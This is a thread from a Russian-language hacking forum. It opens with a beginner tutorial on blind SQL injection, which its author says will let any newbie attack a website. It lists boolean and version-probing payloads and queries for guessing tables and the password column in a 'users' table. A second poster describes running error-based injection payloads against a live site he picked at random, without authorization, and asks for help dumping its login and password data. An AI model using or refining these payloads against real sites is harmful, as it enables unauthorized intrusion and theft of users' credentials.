Реклама на hackersoft.ru Реклама на hackersoft.ru

Вернуться   Форумы Hackersoft > Хакерство и безопасность > Для новичков
CHAT Регистрация Справка Пользователи Доска почета Календарь Поиск Сообщения за день Все разделы прочитаны

Для новичков FAQ'и, руководства, документации, написанные участниками форума для новичков.

Ответ
 
Опции темы
Старый 09.02.2011, 23:17   #1
-=Bob=-
newbie 
 
Аватар для -=Bob=-
 
Регистрация: 05.02.2011
Сообщений: 17
Вес репутации: 1 -=Bob=- новичек
Депозит: 0$
Вы сказали Спасибо: 15
Поблагодарили 15 раз(а) в 6 сообщениях
Здраствуйте уважаемые форумчане. Всех с Новым Годом 2011. Не долго думая и сидя за компом. Я решил написать статью про BLIND SQL - INJECTION. В статье постараюсь описать всё очень подробно. Чтобы даже после прочтения статьи любой новичок смог провести атаку сайта при помощи: BLIND SQL - INJECTION. Пожалуй приступим.

BLIND SQL - INJECTION. Что и как.

BLIND SQL - INJECTION - это инъекция на подобе SQL, только в ней невидны запросы SQL к базе данных. Ну или же при отключение самых основных функций order by,select,union.

Запрос для поиска BLIND SQL - INJECTION:
Код:
0x1
BLIND SQL - INJECTION. Практика.

Теперь давай те разберёмся на примере какого нибудь сайта. Я не стану его искать и введу обычный http://site.ru/facker?id=9

После числового значения (в нашем случае это цифра 9) давай те поставим одинарную ковычку ', у нас появляется ошибка, если такая же ошибка выходит при известных нами запросах: union+select и order+by, то значит что это: BLIND SQL - INJECTION.

Теперь давайте уже перейдём ближе к делу (в нашем случае - это к атаке сайта).

Даём вот такой запрос:
Код:
http://site.ru/facker?id=9 and 1=1
Если с нашей странице ничего не происходим, то мы даём вот такой запрос:
Код:
http://site.ru/facker?id=9 and 1=2
И мы с вами видим что заголовок или текст меняется, или же исчезает страница - это BLIND SQL - INJECTION.

Запрос для определения версии базы данных в BLIND SQL - INJECTION:
Код:
0x2
Всё это осуществляется запросом:
Код:
and substring(@@version,1,1)=
Использование запросов:
Код:
Если при запросе http://site.ru/facker?id=9 and substring(@@version,1,1)=3 - произошла ошибка. Значит версия базы данных не 3. 

Если при запросе http://site.ru/facker?id=9 and substring(@@version,1,1)=4 - произошла ошибка. Значит версия базы данных не 4.

Если при запросе http://site.ru/facker?id=9 and substring(@@version,1,1)=5 - ничего не произошло. Значит версия базы данных 5.
Проведение SQl - ijection определяется запросом:
Код:
0x3
В 4 версии всё делается руками. А в 5 версии доступен вот такой запрос: information_schema.tables

Угадываем таблицы вот таким запросом:
Код:
and (SELECT 1 from users limit 0,1)=1
Если неправильная таблица происходит ошибка, а если правильно, то наша страница загружается нормально.

Угадываем колонки вот таким запросом:
Код:
and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1
Также я советую вам юзать вот такую тулзу: SQL-INJECTON TOOLS под названием SIPT 4. SIPT 4 можно скачать тут.


Ну вот и всё. Если вы узнаете Логин и Пасс, конечно же можно сказать о найденной уязвимости и продать её админу этого сайта.

Автор: -=Bob=-
-=Bob=- вне форума   Ответить с цитированием
Благодарности -=Bob=- от:
Старый 08.02.2017, 02:53   #2
Neoline
newbie 
 
Регистрация: 08.02.2017
Сообщений: 1
Вес репутации: 0 Neoline новичек
Депозит: 0$
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Добрый день! С недавнего времени начал изучение уязвимостей SQL. Тренируюсь на всяких платформах и т.д. Для практики выбрал первый попавшийся сайт и потихоньку по мере изучения долблю его. В общем уязвимость обнаружил лишь в форме для авторизации. К моему огорчению данные о результате выполнения запроса не выводятся на страницу. Решил получать информацию в тексте ошибки. После долгого изучения соответствующей литературы пришел к такому запросу
-1' and (select 1 from(select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2)) a from information_schema.tables group by a)b) --
Получил ответ следующего вида
Ошибка: Duplicate entry '::test123::1' for key 'group_key'
Название базы данных выяснил, поехали дальше
-1' and (select 1 from(select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a)b) --
Пришлось добавить параметр Limit и по одной я получил название таблиц (среди них есть необходимая "user")
Ошибка: Duplicate entry '::user::1' for key 'group_key'
... Далее тем же образом получил названия столбцов
-1' and (select 1 from(select count(*), concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='user' limit 0,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a)b) --

Имеется "id", "login" и "pass". Казалось бы... ну и всё!!!! Да фиг там я перепробовал сотню разных запросов, уже две недели не могу получить дамп. По большому счету мне нужно только чтобы база вернула мне мой же пароль. (Я зарегистрировался) Мне не нужен этот сайт, мне нужны знания. Хотя тут теперь дело принципа. Спортивный интерес, так сказать. Ребята прошу: помогите пожалуйста, наставьте на путь истинный. Я в полном отчаянии. Заранее огромнейшее спасибо и прошу прощения, если написал не в ту тему.
Neoline вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 11:52.


© 2005 — +∞ Hackersoft. Все и вся защищены.
Публичная оферта | Правила форума | Реклама на сайте
Powered by vBulletin®©™ Jelsoft®©™ Enterprises Ltd. Перевод: zCarot.
Реклама на hackersoft.ru Реклама на hackersoft.ru